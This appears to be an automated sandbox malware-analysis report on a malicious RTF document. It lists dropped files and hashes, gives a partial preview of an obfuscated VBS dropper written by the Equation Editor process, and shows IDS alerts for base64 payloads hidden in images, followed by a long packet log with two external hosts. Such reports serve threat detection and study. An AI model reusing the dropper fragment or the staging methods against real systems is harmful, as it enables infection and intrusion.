File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:06 2023, mtime=Fri Aug 11 15:42:06 2023, atime=Fri Jul 26 12:24:53 2024, length=85983, window=hide
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	4.554606426731598
Encrypted:	false
SSDEEP:	12:8C7d6FgXg/XAlCPCHaXNBXPgB/BGFX+WiwuoN0PaicvbAYjb5l4HwPaDtZ3YilMH:8C7dG/XT9ibkEzpZeMYX53SDv3qRMk7N
MD5:	5C45861FBA67B0029BC94EE4DB2138EC
SHA1:	13992534143B3EA85BE92447DDDA3FB59F264B50
SHA-256:	457F33C958337920C2F4275060AA7CA932B447741FDFD0E9C829C35E940D611D
SHA-512:	5870A0B2466588ABB7FDA9199181B4538DFE9D98F97278FB7D605D8A1A338D13A8340B5AA8145C807AC6A22B9603A6FE6033038BC78447A7B57626F1BE92530D
Malicious:	false
Preview:	L..................F.... ....Z..r....Z..r....@93_....O...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X.k..user.8......QK.X.X.k...&=....U...............A.l.b.u.s.....z.1......WE...Desktop.d......QK.X.WE...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....f.2..O...X.k .IFQSFP~1.RTF..J.......WD..WD..........................I.F.q.s.F.p.i.j.F.t...r.t.f.......x...............-...8...[............?J......C:\Users\..#...................\\494126\Users.user\Desktop\IFqsFpijFt.rtf.%.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.I.F.q.s.F.p.i.j.F.t...r.t.f.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......494126..........D_....3N...W...9.W.e8...8.....[D_....3N...W...9.W.e8

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.5038203952248335
Encrypted:	false
SSDEEP:	3:HnokVeFulm4abVeFulv:HnXxYbx1
MD5:	8B5AC76040763970C3BA6ED46E87BC98
SHA1:	478805FD9187A1C4577C67F8552D22A2CE2B2A7E
SHA-256:	4DC344D0B13F7ACDB81AC54BEDBE1FC3EAB709850996F08693A868608AE76DDA
SHA-512:	CF072F428AC77EB30FB002561732C58024C5ED690ED8D4AB5D42D984A813DC4E2E19A91E47230474277A195BA77FCB10C779D66EDA2E0F236EE3EFC7BB70C24B
Malicious:	false
Preview:	[misc]..IFqsFpijFt.LNK=0..[folders]..IFqsFpijFt.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyxblgl0nGltlMWtVGXlcNOllln:vdsCkWtMe2G/LkXh/l
MD5:	89AFCB26CA4D4A770472A95DF4A52BA8
SHA1:	C3B3FEAEF38C3071AC81BC6A32242E6C39BEE9B5
SHA-256:	EF0F4A287E5375B5BFFAE39536E50FDAE97CD185C0F7892C7D25BD733E7D2F17
SHA-512:	EA44D55E57AEFA8D6F586F144CB982145384F681D0391C5AD8E616A67D77913152DB7B0F927E57CDA3D1ECEC3D343A1D6E060EAFF8E8FEDBE38394DFED8224CC
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	419812
Entropy (8bit):	3.5814445916859183
Encrypted:	false
SSDEEP:	3072:FHGhwf2YFbhNe4VTdRnTT8w4TW7HqOOgVpp20KeLS7lixg36t+v4pNdS7ES:0wf2YFZHqf
MD5:	94734CB139B6B9025FD8A1ACC56027DB
SHA1:	B385368BCAADACA073849A413660B68E690FFBA5
SHA-256:	7DDE4D5F845DBB2A078F6D0A290472D22CC845C6D6927CC0ADA645CE050C7B08
SHA-512:	58E0064F4B304B5503C4A7E689D96CC62BAC4BC8EE76D39FEDE408B9E777B9602334DAD4E1570FA0B9E0C363E7D8EE419A41D4DA02493D174D61F96ACCA4053F
Malicious:	true
Preview:	..d.i.m. .p.l.a.t.i.n.a.m.i.n.a. .....p.l.a.t.i.n.a.m.i.n.a. .=. .m.e.l.e.a.n.t.e.....a.c.o.v.a.r.(.".m.a.r.a.n.h.a.r.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".d.r.u.p.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".i.n.d.i.g.e.n.a.t.o.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".m.u.l.h.e.r.i.n.h.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".a.n.t.r.o.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".m.a.s.c.a.r.a.d.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".L._.H.e.l.p.

C:\Users\user\Desktop\~$qsFpijFt.rtf

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyxblgl0nGltlMWtVGXlcNOllln:vdsCkWtMe2G/LkXh/l
MD5:	89AFCB26CA4D4A770472A95DF4A52BA8
SHA1:	C3B3FEAEF38C3071AC81BC6A32242E6C39BEE9B5
SHA-256:	EF0F4A287E5375B5BFFAE39536E50FDAE97CD185C0F7892C7D25BD733E7D2F17
SHA-512:	EA44D55E57AEFA8D6F586F144CB982145384F681D0391C5AD8E616A67D77913152DB7B0F927E57CDA3D1ECEC3D343A1D6E060EAFF8E8FEDBE38394DFED8224CC
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	2.656661142867628
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	IFqsFpijFt.rtf
File size:	85'983 bytes
MD5:	e03f3290788de4d7a103f16b780b3cce
SHA1:	c220e79a2714ed59f4d7b1d0a4f6c63a03772ea6
SHA256:	db4fed8fb3c35582ade2fa57a5866ec7795e94bff34f004f66d15233d1a2fcd8
SHA512:	9372b124ecb895a5c7672d75d17eb3ea3d91fab5ed675aa82090d8d00c15cb4477553342a356c4f8616869c2987105e6468bb2a912196dab055e06e34ad24b63
SSDEEP:	384:AMNF0TJENLHnQiT6Bg1VCWsVdTLoTYq4UxggoYYxA7qYpxylSPA:fc1EpHQDgCJwvCvYYxAxylSPA
TLSH:	D483D16DC78F81A4CB455373531A9E0902FDB33EB70552B6B5AC933077AC82E096A5BC
File Content Preview:	{\rtf1........{\\aoutl173498089 \"}.{\443609054`?:`'1=]2=]656[~8\|#_@.0.%)5-\|8,9,`!`5>@.>^><<`6^.~?~<;_?5.6(2.??888%4/&/>8;^'4!-8.$7^-6'%038?9:\|)/90~>1?!/]?:\|54&?(!)^%.^&?2~3\|3(\|@7$]*^?9:&!+?[.8$,~]$&!92~#76_$+~_8./8^0???!8?@6%@-%'(8^%(;~8?,?41,9(6@%3.[:

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	000014AFh								no

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T15:25:06.673992+0200	TCP	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	80	49165	192.3.176.174	192.168.2.22
2024-07-26T15:25:05.279488+0200	TCP	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	80	49164	198.46.176.133	192.168.2.22
2024-07-26T15:25:04.184019+0200	TCP	2047750	ET MALWARE Base64 Encoded MZ In Image	80	49164	198.46.176.133	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 15:24:58.383749962 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.390595913 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.390656948 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.390985012 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.396182060 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.887238026 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.887401104 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.888082981 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.888094902 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.888149977 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.891074896 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.891088009 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.891118050 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.891139030 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.895287991 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.895301104 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.895349979 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.901352882 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.901367903 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.901379108 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.901388884 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.901401043 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.901407957 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.901447058 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.901447058 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.976427078 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.976506948 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.976958990 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.976970911 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.977003098 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.977018118 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.980214119 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.980226040 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.980261087 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.983402967 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.983414888 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.983447075 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.985282898 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.985294104 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.985328913 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:58.988058090 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.988070011 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:58.988106012 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.004853010 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.004870892 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.004882097 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.004893064 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.004899025 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.004903078 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.004935980 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.004935980 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.006603956 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.006617069 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.006649017 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.008548021 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.008558989 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.008596897 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.009582996 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.009594917 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.009628057 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.065718889 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.065769911 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.065875053 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.065887928 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.065910101 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.065923929 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.068634987 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.068646908 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.068681955 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.070175886 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.070223093 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.071247101 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.071259022 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.071295977 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.073390961 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.073401928 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.073436975 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.075720072 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.075731993 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.075768948 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.078388929 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.078402042 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.078411102 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.078435898 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.078490019 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.080128908 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.080142021 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.080188036 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.080188036 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.082094908 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.082107067 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.082140923 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.084114075 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.084126949 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.084136009 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.084176064 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.084176064 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.086054087 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.086065054 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.086108923 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.086108923 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.088043928 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.088056087 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.088110924 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.088299990 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.089880943 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.089891911 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.089931965 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.091519117 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.091530085 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.091567039 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.093139887 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.093151093 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.093164921 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.093182087 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.093194962 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.094746113 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.094755888 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.094791889 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.154468060 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.154586077 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.154874086 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.154885054 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.154925108 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.157906055 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.157916069 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.158011913 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.158190012 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.158200026 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.158235073 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.160243034 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.160254955 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.160264015 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.160303116 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.160446882 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.162131071 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.162144899 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.162156105 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.162183046 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.162328005 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.163834095 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.163846970 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.163892031 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.163892031 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.165225983 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.165237904 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.165276051 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.166712046 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.166724920 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.166743994 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.166758060 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.166769981 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.166784048 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.168242931 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.168256044 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.168344975 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.169684887 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.169715881 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.169734955 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.169745922 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.171156883 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.171170950 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.171180964 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.171206951 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.171206951 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.172651052 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.172666073 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.172727108 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.174083948 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.174094915 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.174132109 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.175474882 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.175487041 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.175528049 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.176867962 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.176878929 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.176887989 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.176915884 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.177124977 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.178191900 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.178201914 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.178237915 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.180140018 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.180150986 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.180193901 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.180727959 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.180737972 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.180816889 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.181899071 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.181910038 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.181963921 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.183094978 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.183105946 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.183115005 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.183151960 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.183151960 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.184334993 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.184346914 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.184382915 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.185445070 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.185455084 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.185502052 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.187052965 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.187062979 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.187098980 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.187817097 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.187828064 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.187841892 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.187866926 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.187903881 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.188864946 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.188874960 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.188909054 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.190009117 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.190018892 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.190134048 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.191045046 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.191056013 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.191088915 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.191102982 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.191977978 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.191989899 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.192024946 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.247175932 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.247232914 CEST	49163	80	192.168.2.22	192.3.176.174
